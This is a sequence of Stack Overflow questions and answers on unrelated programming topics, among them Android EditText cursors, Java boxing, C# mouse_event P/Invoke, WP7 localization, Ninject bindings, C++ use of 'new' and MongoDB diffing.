Q: Cursor should appear from start in editText in android I have a screen which have editText and a button, now when we click on the button it will fetch the Text from another screen and set to the editText. The problem is when the text has been set to edittext cursor position is coming at last. I want that cursor position should appear from start. Any Idea?? Thanks. A: MODIFIED editText.requestFocus(); editText.setSelection(0);
{ "language": "en", "url": "https://stackoverflow.com/questions/7620332", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Javascript accessing functions of same class In the following code: function xyz(x) { //something this.x = x; } xyz.prototype = { a: function () { //do something }, b: function () { //pre this.a(); //post } } the call of this.a() gives the warning of method not supported. So I tried using xyz.prototype.a.call(this) instead. But it does not maintain the value of x. What do I do to call one method of a class from other? A: Given your code, if you write: var myXyz = new xyz("hello"); then calling myXyz.b(); should correctly get to the "a()" function on the prototype. However, if you do something like this: var otherB = myXyz.b; otherB(); then it will not work, because there's no context object (that is, the this value inside "b()" won't be set correctly to an instance of "xyz"). That often happens when a function is being used as an event handler: something.onclick = myXyz.b; The event handler, when called, won't have an "xyz" instance to work with. Instead of that, therefore, you could write: something.onclick = function() { myXyz.b(); }; which clearly ensures that there's an "xyz" object.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620334", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Is that how 'Long' works (in Java)? Look at this Java code: class PerformanceTest2{ public static void main(String args[]){ Long sum = 0L; for(int i=0;i<Integer.MAX_VALUE;i++) sum += i; System.out.println("Sum = " + sum); } } It is observed that it takes longer for this code since sum is 'Long' & not 'long'. So in every iteration what happens is: sum = new Long(sum.longValue() + i); (for sum+=i;) So, a new object is created every time. Doesn't Java support C++ like feature of returning a reference so that we could've written (possibly): sum.longValue() += i; possibly not having to create sum object every time around the loop? Am I right? A: Well, it doesn't call the constructor. It uses: for (int i = 0; i < Integer.MAX_VALUE; i++) { long tmp = sum.longValue(); // Unboxing tmp += i; sum = Long.valueOf(tmp); // Boxing } The wrapper objects are deliberately immutable - they could easily have been designed to be mutable, but immutability is often a very useful feature. If you want to write your own mutable wrapper type, you're very welcome to - at which point you could have code such as: LongWrapper sum = new LongWrapper(0L); for (int i = 0; i < Integer.MAX_VALUE; i++) { sum.add(i); } System.out.println("Sum = " + sum); Or possibly: LongWrapper sum = new LongWrapper(0L); for (int i = 0;i < Integer.MAX_VALUE; i++) { sum.setValue(sum.getValue() + i); } System.out.println("Sum = " + sum); A: I invite you to take a look at the testcases I've set up here: http://ideone.com/Hvbs1 Your code is slow not because you are mixing long and int types, but because you are using Long instead of long. The Long type is a proper object, and immutable to boot, so every time you assign a new value to your variable, a new object is being constructed (a possible exception is if a cached object already exists for the new value). This is an expensive operation (relatively speaking). As you will see from the example code, changing the loop to add a long instead of an int does not make it run any faster. The way to speed it up is to change the first variable to a long instead of a Long. A: Java has no C++ like references. Also, the built-in wrapper classes for primitive types are deliberately made immutable. One of the reasons for this decision is, that the run-time may then cache the wrapper instances for particular values, and avoid having to create a new object (this requires, that you call valueOf instead of allocating a new object via new; the compiler does this for boxing). A: So, a new object is created every time. Doesn't Java support C++ like feature of returning a reference so that we could've written (possibly): ... If you use Long you are explicitly requesting wrapper type from Java. And the convention for wrapper types is: they are immutable. And immutability (as constness in C++) requires that no modifiable internals must be given to the outside. But a C++ like reference would exactly do that. (Let's skip the const reference part because that also wouldn't help you in C++.) possibly not having to create sum object every time around the loop? Am I right? Theoretically yes, but if you want that behaviour, why don't you use not a plain long right from the start? A: Others have already explained why Long takes longer then long and how usingLong.valueOf` may be slightly faster. Please, don't let this be a reason for not using Long. In all likelihood your overall system throughput time will not be affected by it. If there are tight loops where this affects performance then use the primitive long there, a hand-rolled wrapper as Jon describes or MutableLong from apache commons.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620335", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: RemObjects SDK - how to retrieve client GUID from server when connecting to server? Does somebody know how to retrieve client GUID when connecting to server in RemObjects SDK ? (using SuperTCP/IP protocol) A: To get the session ID of the current connection on the server, use SessionID property: SessionIDString := GUIDToString(Session.SessionID); The Session object is found in the uROSessions unit. To get the session ID on the client, use ClientID property: SessionIDString := GUIDToString(RemoteService.Message.ClientID); RemoteService is your connection's TRORemoteService object.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620336", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "2" }
Q: C# Clicking on a certain point on the screen I am trying to perform a mouse click through c#. I used the mouse_event function to do it. private const int MOUSEEVENTF_LEFTDOWN = 0x02; private const int MOUSEEVENTF_LEFTUP = 0x04; [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] public static extern void mouse_event(long dwFlags, long dx, long dy, long cButtons, long dwExtraInfo); I tried two methods : Moving the mouse to the point and clicking it : Cursor.Position = new Point(100, 100); mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP, Cursor.Position.X, Cursor.Position.Y, 0, 0); Passing the x, y of the desired click to the function : mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP,100, 100, 0, 0); Either way, I'm this weird error : Managed Debugging Assistant 'PInvokeStackImbalance' has detected a problem in 'C:\Users\or\Documents\Visual Studio 2010\Projects\ProjectName\ProjectName\bin\Debug\ProjectName.vshost.exe'. Additional Information: A call to PInvoke function 'ProjectName!ProjectName.MainForm::mouse_event' has unbalanced the stack. This is likely because the managed PInvoke signature does not match the unmanaged target signature. Check that the calling convention and parameters of the PInvoke signature match the target unmanaged signature. Any ideas on a solution? A: I would suggest you use the following p/invoke signature private const uint MOUSEEVENTF_LEFTDOWN = 0x02; private const uint MOUSEEVENTF_LEFTUP = 0x04; [DllImport("user32.dll")] public static extern void mouse_event(uint dwFlags, uint dx, uint dy, uint cButtons, IntPtr dwExtraInfo); Note, that while mouse_event is convenient, it has been superseded by SendInput. You can find a reasonable p/invoke declaration for SendInput and the Input structure at the following URL. http://www.pinvoke.net/default.aspx/user32.SendInput A: You have obviously got this code from legacy VB6 code. long is 64-bit in .NET and C#, unlike VB6 where it is 32-bit. Switch from long to int, and it should be okay. edit: I was a little fast: dwExtraInfo should be of type IntPtr.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620345", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: css - style the edge of the selected area in table I have a selectable table (jQuery UI selectable). How do i "access" the edge (top, left, right, bottom) width css, or do I have to use javascript? Update: with "accessing the edge" I mean for example create a border around a selected area in a table (select td elements, first .ui-selected in tr, last .ui-selected in tr, first tr containing .ui-selected, last tr containing .ui-selected). <table class="ui-selectable"> <tr> <td class="ui-selectee"></td> <td class="ui-selectee"></td> <td class="ui-selectee"></td> <td class="ui-selectee"></td> </tr> <tr> <td class="ui-selectee"></td> <td class="ui-selectee ui-selected"></td> <td class="ui-selectee ui-selected"></td> <td class="ui-selectee"></td> </tr> <tr> <td class="ui-selectee"></td> <td class="ui-selectee ui-selected"></td> <td class="ui-selectee ui-selected"></td> <td class="ui-selectee"></td> </tr> <tr> <td class="ui-selectee"></td> <td class="ui-selectee"></td> <td class="ui-selectee"></td> <td class="ui-selectee"></td> </tr> </table> ex: the left edge .ui-selected { border-left: 1px solid #00F; } .ui-selected ~ .ui-selected { border-left: none; } A: Left: td:first-child Right: td:last-child Top: tr:first-child td Bottom: tr:last-child td Edit: with your updates, I can now state that there is no way to do it in CSS3. But CSS4's :nth-match and :nth-last-match (not implemented anywhere at the time of writing, and the spec is only a working draft) will be able to do it.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620351", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: WP7 localization does not work I'm trying to do a simple localization of my app, making it support English (default) and Danish. I've followed the MS tutorial, and I've looked at some samples but for some reason the simulator does not show the danish version when I choose danish language as the simulator language. Here's what I've done: Added supported culture: dk-DK; Changed assembly info to use "English" as default. Added the resource to app.xaml: <Application.Resources> <local:LocalizedStrings xmlns:local="clr-namespace:LåneRegnskab" x:Key="LocalizedStrings" /> </Application.Resources> Added "AppResources.resx" and "AppResources.dk-DK.resx" to project with the strings. To use the strings I write: "{Binding Path=LocalizedResources.Title, Source={StaticResource LocalizedStrings}}" LocalizedStrings class: public class LocalizedStrings { public LocalizedStrings() { } private static AppResources localizedResources = new AppResources(); public AppResources LocalizedResources { get { return localizedResources; } } } This all works for the english strings, but they do not change when I'm in danish mode. What am I missing here? :( A: Nothing obvious wrong with your code. Try force-chance the culture in App.xaml.cs with the following code in the InitializePhoneApplication method. private void InitializePhoneApplication() { Thread.CurrentThread.CurrentCulture = new CultureInfo("da-DK"); Thread.CurrentThread.CurrentUICulture = Thread.CurrentThread.CurrentCulture; Update Also ensure that SupportedCultures in your ProjectName.csproj file is set to support both languages, like this: <SupportedCultures>en;da-DK</SupportedCultures> A: Thanks to Claus, I solved my problems (I seem to have made all the mistakes getting there) but here's all the settings that work for me. I'm supporting English and Spanish and changing the region of the emulator to see it work. In the .csproj <SupportedCultures>en;es;</SupportedCultures> <-- I was being too specific on language here I also had AppResources-es.resx <-- Rather than .es In my GamePage.xaml I made the mistake here of having LocalisedStrings in both source and Path. In the App.xaml I didn't add the namespace inline, but the same otherwise. Hopefully it's a mistake in one of these steps as it was in my case. A: I struggled with the same problem and I've just found the solution. In the csproj file the node is defined by default, but I didn't noticed that and I created another one at the first lines... So if you remove this(or set your cultures here) it will probably work. <SilverlightApplication>true</SilverlightApplication> <SupportedCultures> </SupportedCultures> <XapOutputs>true</XapOutputs> A: You have to change the csproj file as in the example bellow http://msdn.microsoft.com/en-us/library/dd941931%28v=vs.95%29.aspx
{ "language": "en", "url": "https://stackoverflow.com/questions/7620352", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: get formated output from mysql via python Hi I want the following output from my query: OK|Abortedclients=119063 Aborted_connects=67591 Binlog_cache_disk_use=0 But I dont know how to generate it. this is my script: #!/usr/bin/env python import MySQLdb conn = MySQLdb.connect (host = "...", user="...", passwd="...") cursor = conn.cursor () cursor.execute ("SHOW GLOBAL STATUS") rs = cursor.fetchall () #print rs print "OK|" for row in rs: print "%s=%s" % (row[0], row[1]) cursor.close() this is what I get now: OK| Aborted_clients=119063 Aborted_connects=67591 Binlog_cache_disk_use=0 A: Build the string using join: print('OK|'+' '.join(['{0}={1}'.format(*row) for row in rs])) ' '.join(iterable) creates a string out of the strings in iterable, joined together with a space ' ' in between the strings. To fix the code you posted with minimal changes, you could add a comma at the end of the print statements: print "OK|", for row in rs: print "%s=%s" % (row[0], row[1]), This suppresses the automatic addition of a newline after each print statement. It does, however, add a space (which is not what you said you wanted): OK| Aborted_clients=0 ... A: You can print the rows together in one string: output = [] for row in rs: output.append('%s=%s' % (row[0], row[1]) print ''.join(output) A: Join each pair with '=' and then each result with ' ', appended to 'OK|': 'OK|' + (' '.join(['='.join(r) for r in rs]))
{ "language": "en", "url": "https://stackoverflow.com/questions/7620360", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Setting a variable - constructor/get/set C# i haven programmed in a while so i forgot something. ive got a "Kunde" class. with some variables: class Kunde { private string _navn; private string _adresse; private int _postnr; private string _by; private int _telefonnr; private int _mobil; private string _email; private string _land; private string _oplysning; private int _kundenr; //Erhverv: private int _cvr; private string _firmanavn; private string _kontaktperson; //Tom konstruktør public Kunde() { } //privat public Kunde(string navn, string adresse, int postnr, string by, int telefonnr, int mobil, string email, string land, string oplysning, int kundenr) { _navn = navn; _adresse = adresse; _postnr = postnr; _by = by; _telefonnr = telefonnr; _mobil = mobil; _email = email; _land = land; _oplysning = oplysning; _kundenr = kundenr; } } } my question is.. ive got a winform with some text fields, but not every field has to be filled with data.. should a make a get/set on every variable to be able to set the variable from another class - or a constructor for each option? whats the best way to do this? A: Just provide a Get and optionally a Set accessor for each member. You'll have to pick some form of DataBinding + Validation to work from your Form. But a Customer class has its own design and its own logic. A: In C# 4.0, you can specify values for properties when calling a constructor. var kunde = new Kunde() { Navn = navn, Adresse = adresse, // all your properties }; Create get/set accessors for each of your fields and then you can specify whichever properties you want to set as above. A: You'd better keep default constructor only and create public property for each data you need to read or set. You may keep your constructor with parameters - but only with those that are really mandatory to be filled for each of your Kunde-n. If you plan to bind your Kunde object-s directly to some BindingSource and display them e.g. in some sort of grid/list and/or treeview you may also consider implementing some of the related interfaces: System.ComponentModel.IdataErrorInfo; System.ComponentModel.INotifyPropertyChanged; and you may cosider apply Attribute-s to your public properties - such as System.ComponentModel.DisplayNameAttribute; - it can define fixed name of headers in the DataGrid orit might be localized for different languages A: public string Adresse { get; private set; } etc. and you have an automatic variable which is read-only except inside the class.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620361", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Ninject getting a generic type in ToMethod I have a repository like this: public class Repository<T> : IRepository<T> where T : class { private readonly ISession session; public Repository(ISession session) { this.session = session; } } I use NHQS and I usually do this to get a ISession object: SessionFactory.For<T>().OpenSession(); How do I setup Ninject to create a session automatically for the requested type and bind it? I tried this but I don't know what to put in the For<>(): kernel.Bind(typeof(IRepository<>)) .To(typeof(Repository<>)) .WithConstructorArgument("session", SessionFactory.For<>().OpenSession()); Looks like I need to get the generic type being used and pass it in the For<>() How do I do that? A: You should'nt use WithConstructorArgument; create a binding for ISession instead. kernel.Bind<ISession>.ToMethod(context => ....).InRequestScope(); You can get the IRepository<> type from context.Request.ParentRequest.Service. You can now extract the entity type using reflection. However, if you are using the same database for all entities then it is probably easier to return a general session for all repositories.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620366", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: How do I POST variables using jQuery / Javascript to another page? How do I use POST using jQuery/Javascript to send to another page and redirect to that page? Sending variables using GET... In Javascript window.location = 'receivepage.php?variable='+testVariable; When it is receive by PHP... $var = $_GET['variable']; How do I do that ^ , using $_POST? I already tried... $.post( 'receivepage.php', { i: i }, function(){ window.location = 'receivepage.php'; } ); but it seems to lose the variable when it reaches PHP A: Doing $.post is trying to post the information via ajax, and THEN redirecting to your page, so when you finally get there, the attribute "i" won't be received. You could do someothing like this: HTML <form method="post" target="receivepage.php" id="myform"> <input type="hidden" name="i" value="blah" /> </form> JS <script type="text/javascript"> $("#myform").submit(); </script> Does that solve your problem? Edit If your value comes from JS, you can add it like this: JS <script type="text/javascript"> $('#myform input[name="i"]').val(i); $("#myform").submit(); </script> According to your example, "i" is defined on the window scope, making it global and accessible from this script. A: In your post example, $_POST['i'], would be your variable.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620369", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Mongodb import and deciphering changed rows I have a large csv file which contains over 30million rows. I need to load this file on a daily basis and identify which of the rows have changed. Unfortunately there is no unique key field but it's possible to use four of the fields to make it unique. Once I have identified the changed rows I will then want to export the data. I have tried using a traditional SQL Server solution but the performance is so slow it's not going to work. Therefore I have been looking at Mongodb - this has managed to import the file in about 20 minutes (which is fine). Now I don't have any experience using Monogdb and more importantly knowing best practices. So, my idea is the following: * *As a one off - Import data into a collection using the mongoimport. *Copy all of the unique id's generated by mongo and put them in a separate collection. *Import new data into the existing collection using upsert fields which should create a new id for each new and changed row. *Compare the 'copy' to the new collection to list out all the changed rows. *Export changed data. This to me will work but I am hoping there is a much better way to tackle this problem. A: Use unix sort and diff. Sort the file on disk sort -o new_file.csv -t ',' big_file.csv sort -o old_file.csv -t ',' yesterday.csv diff new_file.csv old_file.csv Commands may need some tweeking. You can also use mysql to import the file via http://dev.mysql.com/doc/refman/5.1/en/load-data.html (LOAD FILE) and then create KEY (or primary key) on the 4 fields. Then load yesterday's file into a different table and then use a 2 sql statements to compare the files... But, diff will work best! -daniel
{ "language": "en", "url": "https://stackoverflow.com/questions/7620371", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: using Android HttpGet/HttpPost to communicate with odbc database: is there a faster way? I'm writing an app to use an Android device to get and set data from an Access database on a local area network. I'm using HttpPost and/or HttpGet to communicate with php pages on the server which in turn communicate with the db via odbc. It works well, but takes almost a second for each query to complete. Is there a faster way? I'm debugging via usb on the actual device. When I access the php pages from the browser on the device, it's much faster. There is no other traffic on this network. Thanks! Edit: Here's the code to retrieve a dataset: private JSONArray getData(String phpFile,ArrayList<NameValuePair> nameValuePairs){ String result = ""; InputStream is = null; JSONArray jArray=null; try{ HttpClient httpclient = new DefaultHttpClient(); HttpPost httppost = new HttpPost("http://" + mServerIP + "/dressageNet/"+ phpFile); httppost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); HttpResponse response = httpclient.execute(httppost); HttpEntity entity = response.getEntity(); is = entity.getContent(); }catch(Exception e){ Log.e("log_tag", "Error in http connection "+e.toString()); } try{ BufferedReader reader = new BufferedReader(new InputStreamReader(is,"iso-8859-1"),8); StringBuilder sb = new StringBuilder(); String line = null; while ((line = reader.readLine()) != null) { sb.append(line + "\n");} is.close(); result=sb.toString(); }catch(Exception e){ Log.e("log_tag", "Error converting result "+e.toString()); } try{ jArray = new JSONArray(result); }catch(JSONException e){ Log.e("log_tag", "Error parsing data "+e.toString()); } nameValuePairs.clear(); return jArray; } A: Create custom server application in whatever you language want and stop using http server and PHP. PHP is slow and this creates overhead. of course you will need to implement your own protocol but it will be a lot faster. I did something like this in java me, and performance was way better than doing POST/GET.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620374", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "1" }
Q: Insert index column in table with large data now i have a table with some columns and a large amount of data: Table1 Column1 Column2 Column3 data1(string) data2 data3 At the moment, the primary key is column1 typed with string. I need to add a new column Column0 with seriel interger, an index really. How can i do it using an mysql index? A: First you have to introduce the new column: ALTER TABLE Table1 ADD COLUMN Column0 INTEGER(10) The insert the ID in the new column in any way you want them; can be done by a script for example. IF this is done, redefine the PK: ALTER TABLE Table1 DROP PRIMARY KEY; Insert the auto-increment: ALTER TABLE Table1 change column Column0 PRIMARY KEY AUTO_INCREMENT; Make sure your auto_increment value is at the value your last id is: ALTER TABLE Table1 AUTO_INCREMENT = value_of_max_id+1_you_have; A: Something like this //First add a extra column. ALTER TABLE table1 ADD COLUMN column0 INTEGER NOT NULL; //Fill the column with incrementing integers in the same order as the old index. UPDATE table1 SET column0 = @rank:= @rank + 1 CROSS JOIN (SELECT @rank:= 0) init_rank ORDER BY column1 ASC; //Remove the old primary key. ALTER TABLE table1 DROP PRIMARY KEY; //Set column0 as the new PK. ALTER TABLE table1 CHANGE COLUMN column0 PRIMARY KEY AUTO_INCREMENT;
{ "language": "en", "url": "https://stackoverflow.com/questions/7620375", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: jQuery toggle mouseover/enter & mouseout with a simple function I have html. <p class="textlimity" title="heyheyhey"> asd</p> now in js i would like to toggle the textlimity text() on mouseover and mouseout so i written. var textlimity = ""; var texlimity_temp = ""; $(document).ready(function(){ $('.textlimity').live('mouseenter',function(){ textlimity = $(this).attr("title"); textlimity_temp = $(this).html(); $(this).html(textlimity); }).live('mouseout',function(){ setTimeout(function(){console.log(textlimity_temp);$(this).html(textlimity_temp); },200); }); }); logic is simple: on mouseover the .textlimity title="" val() replaces the .textlimity .html() , and do the opposite on mouseout I used .html() cause i could have both plain text or html code inside both title="" or any suggest? A: Here is and adaptation of @David's code with all issues resolved.. $('.textlimity').live('mouseenter', function() { var self = $(this); clearTimeout( self.data('restore') ); if (!self.data('saved')) { self.data('saved', self.html()); // store the original content } self.html(this.title); // set content from title }).live('mouseout', function() { var self = $(this); self.data( 'restore', setTimeout(function() { self.html(self.data('saved')); // revert to the stored content }, 200) ); }); demo at http://jsfiddle.net/gaby/dQTDZ/4/ A: Looks a bit complicated. How about: $('.textlimity').live('mouseenter',function(){ $(this).data( 'saved', $(this).html() ) // store the original content .html( this.title ); // set content from title }).live('mouseout',function(){ setTimeout(function() { $(this).html( $(this).data('saved') ); // revert to the stored content }, 200); }); Fiddle: http://jsfiddle.net/dQTDZ/
{ "language": "en", "url": "https://stackoverflow.com/questions/7620377", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
Q: Stubbing out functions or classes Can you explain the concept stubbing out functions or classes taken from this article? class Loaf: pass This class doesn't define any methods or attributes, but syntactically, there needs to be something in the definition, so you use pass. This is a Python reserved word that just means “move along, nothing to see here”. It's a statement that does nothing, and it's a good placeholder when you're stubbing out functions or classes.` thank you A: A 'stub' is a placeholder class or function that doesn't do anything yet, but needs to be there so that the class or function in question is defined. The idea is that you can already use certain aspects of it (such as put it in a collection or pass it as a callback), even though you haven't written the implementation yet. Stubbing is a useful technique in a number of scenarios, including: * *Team development: Often, the lead programmer will provide class skeletons filled with method stubs and a comment describing what the method should do, leaving the actual implementation to other team members. *Iterative development: Stubbing allows for starting out with partial implementations; the code won't be complete yet, but it still compiles. Details are filled in over the course of later iterations. *Demonstrational purposes: If the content of a method or class isn't interesting for the purpose of the demonstration, it is often left out, leaving only stubs. A: Note that you can stub functions like this: def get_name(self) -> str : ... def get_age(self) -> int : ... (yes, this is valid python code !) It can be useful to stub functions that are added dynamically to an object by a third party library and you want have typing hints. Happens to me... once :-) A: Ellipsis ... is preferable to pass for stubbing. pass means "do nothing", whereas ... means "something should go here" - it's a placeholder for future code. The effect is the same but the meaning is different. A: stubbing out functions or classes This refers to writing classes or functions but not yet implementing them. For example, maybe I create a class: class Foo(object): def bar(self): pass def tank(self): pass I've stubbed out the functions because I haven't yet implemented them. However, I don't think this is a great plan. Instead, you should do: class Foo(object): def bar(self): raise NotImplementedError def tank(self): raise NotImplementedError That way if you accidentally call the method before it is implemented, you'll get an error then nothing happening. A: Stubbing is a technique in software development. After you have planned a module or class, for example by drawing it's UML diagram, you begin implementing it. As you may have to implement a lot of methods and classes, you begin with stubs. This simply means that you only write the definition of a function down and leave the actual code for later. The advantage is that you won't forget methods and you can continue to think about your design while seeing it in code. A: The reason for pass is that Python is indentation dependent and expects one or more indented statement after a colon (such as after class or function). When you have no statements (as in the case of a stubbed out function or class), there still needs to be at least one indented statement, so you can use the special pass statement as a placeholder. You could just as easily put something with no effect like: class Loaf: True and that is also fine (but less clear than using pass in my opinion).
{ "language": "en", "url": "https://stackoverflow.com/questions/7620382", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "12" }
Q: Why is it a bad idea to use 'new'? Possible Duplicate: In C++, why should new be used as little as possible? Is it really a bad idea to use 'new' in instantiating a class in C++? Found here. I get that using raw pointers is ill-advised, but why have a 'new' keyword at all when it's such bad practice? Or is it? A: Avoiding new as much as possible, means many benefits, such as: * *First and foremost, you also avoid delete statements.Though smart pointers can help you here. So this is not that strong point. *You avoid Rule of Three (in C++03), or Rule of Five (in C++11). If you use new when designing a class, that is, when your class manages raw memory internally, you probably have to consider this rule. *It's easy to implement exception-safe code when you don't use new. Otherwise, you've to face hell lot of problems, making your code exception-safe. Using new unnecessarily means you're inviting problems. I've seen when an inexperienced programmer uses new, he has often better alternatives, such as usage standard containers, and algorithms. Use of standard containers avoids most problems which comes with explicit use of new. A: It's not bad, but everything you allocate with new, has to be deallocated with a delete. This is not always trivial to do, especially when you take into account exceptions. I think that is what that post meant. A: The point is that new, much like a pregnancy, creates a resource that is managed manually (i.e. by you), and as such it comes with responsibility. C++ is a language for library writing, and any time you see a responsibility, the "C++" approach is to write a library element that handles this, and only this, responsibility. For dynamic memory allocation, those library components already exist and are summarily referred to as "smart pointers"; you'll want to look at std::unique_ptr and std::shared_ptr (or their TR1 or Boost equivalents). While writing those single-responsibility building blocks, you will indeed need to say new and delete. But you do that once, and you think about it carefully and make sure you provide the correct copy, assignment and destruction semantics. (From the point of exception safety, single responsibility is crucial, since dealing with more than one single resource at a time is horribly unscalable.) Once you have everything factored into suitable building blocks, you compose those blocks into bigger and bigger systems of code, but at that point you don't need to exercise any manual responsibility any more, since the building blocks already do this for you. Since the standard library offers resource managing classes for the vast majority of use cases (dynamic arrays, smart pointers, file handles, strings), the point is that a well-factored and crafted C++ project should have very little need for any sort of manual resource management, which includes the use of new. All your handler objects are either automatic (scoped), or members of other classes whose instances are in turn scoped or managed by someone. With this in mind, the only time you should be saying new is when you create a new resource-managing object; although even then that's not always necessary: std::unique_ptr<Foo> p1(new Foo(1, 'a', -2.5)); // unique pointer std::shared_ptr<Foo> p2(new Foo(1, 'a', -2.5)); // shared pointer auto p3 = std::make_shared<Foo>(1, 'a', -2.5); // equivalent to p2, but better Update: I think I may have addressed only half the OP's concerns. Many people coming from other languages seem to be under the impression that any object must be instantiated with a new-type expression. This is in itself a very unhelpful mindset when approaching C++: The crucial distinction in C++ is that of object lifetime, or "storage class". This can be one of: automatic (scoped), static (permanent), or dynamic (manual). Global variables have static lifetime. The vast majority of all variables (which are declared as Foo x; inside a local scope) have automatic lifetime. It is only for dynamic storage that we use a new expression. The most important thing to realize when coming to C++ from another OO language is that most objects only ever need to have automatic lifetime, and thus there is never anything to worry about. So the first realization should be that "C++ rarely needs dynamic storage". I feel that this may have been part of the OP's question. The question may have been better phrased as "is it a really bad idea to allocate objects dynamically?". It is only after you decide that you really need dynamic storage that we get to the discussion proper of whether you should be saying new and delete a lot, or if there are preferable alternatives, which is the point of my original answer. A: It's not a "bad idea to use new" -- the poster misstated his case rather badly. Rather, using new and not give you two different things. new gives you a new, separately allocated instance of the class, and returns a pointer to that instance. Using the class name without new creates an automatic instance of the class that will go "poof" when it passes out of scope. This "returns" the instance itself, not a pointer (and hence the syntax error in that other thread). If you use new in the referenced case and added * to pass the compiler, it would result in a leaked object. If, on the other hand, you were passing a parameter to a method that was going to store it somewhere, and you passed a non-newed instance, making it work with &, you'd end up with a dangling pointer stored. A: new what you delete, and free what you malloc (don't mix them, you'll get into trouble). Sometimes you have to use new, as data allocated with new will not fall out of scope... unless the data pointer is lost, which is the entire issue with new. But that is err on the side of the programmer, not the keyword. A: It depends on what the code needs. It the reply you refer to, the vector contains client instances, not pointers to client instances. In C++, you can create object directly on the stack, without using new, like V1 and V2 in the code below: void someFct() { std::vector<client> V1; //.... std::vector<client*> V2; } When using V2, you will have to create new client instance with the new operation, but the client objects will not be released (deleted) when V2 will go out of scope. There is no garbage collector. You have to delete the objects before leaving the function. To have the created instances deleted automatically, you can use std::shared_ptr. That make the code a bit longer to write, but it is simpler to maintain in the long term: void someFct() { typedef std::shared_ptr<client> client_ptr; typedef std::vector<client_ptr> client_array; client_array V2; V2.push_back(client_ptr(new client())); // The client instance are now automatically released when the function ends, // even if an exception is thrown. } A: Is it really a bad idea to use 'new' in instantiating a class in C++? It’s often bad because it’s not necessary, and code gets much easier when you’re not using it spuriously. In cases where you can get away without using it, do so. I’ve written whole libraries without once using new. I get that using raw pointers is ill-advised, but why have a 'new' keyword at all when it's such bad practice? Or is it? It’s not universally bad, just unnecessary most of the time. But there are also times when it’s appropriate and that’s why there is such a keyword. That said, C++ could have gotten away without the keyword, since new conflates two concepts: 1. it allocates memory, and 2. it initialises the memory to an object. You can decouple these processes by using other means of memory allocation, followed by a constructor invocation (“placement new”). This is actually done all over the place, such as the standard library, via allocators. On the other hand, it’s rarely (read: never) meaningful for client code to manage uninitialised memory so it makes sense not to decouple these two processes. Hence the existence of new.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620385", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "6" }
Q: Get directory listing from any URL As far as I have read, PHP can only get the file listing from local server on which script is running. What I need is the list of files in a directory on an external URL, which is not FTP but an HTTP URL, such as www.google.com. Is this possible in PHP? Here is example of what I want (but FDM is C++ app)! A: You can only see this if the webserver allows it A: This is not possible in any language. If a remote server does not want to list directory contents (i.e. if it's configured not to), no external script can generate one; that would be insecure. A: Free download manager does not show the files in the folder, but all the links found on the web page. You can get a web page with curl, and grab all links from it (using regular expressions), then download the linked pages - that's how web-spiders are build. But you cannot get list of the files that are on the server, only the one that are linked in a publicly available web-page. A: You can see server files only if the server allows that option, alternative you have to install your own script that will do that work for you indepent of the server settings. That also means that you have to have access on the server that you like to list the files.
{ "language": "en", "url": "https://stackoverflow.com/questions/7620389", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "-1" }
Q: DevExpress XtraGrid control's Is not showing data in the xtragrid view i created one application which uses devexpress xtragrid control. I used xtragrid control on the user control of devexpress. And used that user control on the form. And in the load event of user control i bind the data to the xtragrid control by using datasource property of xtragrid. Problem that i'm facing is that when i'm loading data first time to the xtragrid then it works fine. But after next loading it is showing data to the xtragrid control but it is not showing data to the view of the xtragrid control. I don't know why this is happening at the second loading. How to resolve this problem? thanks. A: You bind it problematically? Or thru the xtragrid designer ? If you did it programatically, try using the refreshdata method of the gridview...
{ "language": "en", "url": "https://stackoverflow.com/questions/7620392", "timestamp": "2023-03-29T00:00:00", "source": "stackexchange", "question_score": "0" }
